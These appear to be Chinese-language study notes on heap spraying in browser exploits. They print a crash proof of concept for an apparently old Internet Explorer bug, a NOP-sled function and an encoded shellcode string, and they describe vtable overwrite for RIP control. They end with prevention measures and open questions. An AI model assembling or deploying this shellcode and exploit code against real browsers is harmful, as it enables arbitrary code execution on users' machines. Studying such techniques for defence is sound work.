Heap Spray and its application on browser exploits

什么是 Heap Spray

  • 使用大量 NOP,申请大量的内存,超过系统内存的特定值,即可实现在目标进程的内存中预定的位置写入一串命令

有什么危害

  • 执行恶意代码
  • 恶意执行程序

产生方式(Browser)

  • large strings
  • loading image files into the process
  • use the low-level bitmap interface offered by the canvas API, and web workers
  • Array
  • wiki

怎么攻击

  • Crash PoC
  • NOP
  • Shellcode

PoC(Proof of Concept)

<body>
  <form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
  <form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
  <form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
  <form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
  <form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
  <form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
</body>
function crash(i) {
  numsploits = numsploits + 1;
  t = document.getElementsByTagName('table')[i];
  t.parentNode.runtimeStyle.posWidth = -1;
  t.focus();
}

NOP

function nop() {
  var nops = '';
  var nops_size = 216;
  for (var i = 0; i < nops_size; i++) {
    nops += 'A';
  }
  return nops;
}

Shellcode

  • Shellcode 是指能完成特殊任务的自包含的二进制代码
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580")

怎么攻击

  • Crash PoC
  • NOP
  • Shellcode
  • 为什么需要 NOP ?(需要精确命中 Shellcode)

任意内存地址读取

  • 通过找到 Array 后面的一个紧邻的 String 对象的内存,然后覆盖这个对象的缓冲区指针域和大小域来实现读取任意内存

控制 RIP(指令指针)

  • 通过覆盖附近 Array 对象的虚函数表(vtable)指针并调用虚函数来控制 RIP,例如计算器指令
  • vtable

总结与预防

  • 浏览器上的 Heap Spray 需要利用一个浏览器漏洞,然后非正常地制造堆溢出的代码来覆盖目标进程的内存
  • 对包含大量重复值的字符串和数组等重复申请堆的时候,可以记录堆的大小、内容和数量,如果这些重复的堆请求到达了一个阀值或者覆盖了指定的地址(譬如几个敏感地址 0x0C0C0C0C,0x0D0D0D0D 等等),立即阻止这个脚本执行过程并弹出警告
  • 对常见的 JavaScript 对象的虚函数表进行保护
  • 使用现代浏览器(用户)

疑问

  • Shellcode 是怎么转化为 系统命令(调用 calc.exe)?
  • Shellcode 怎么编写?

参考链接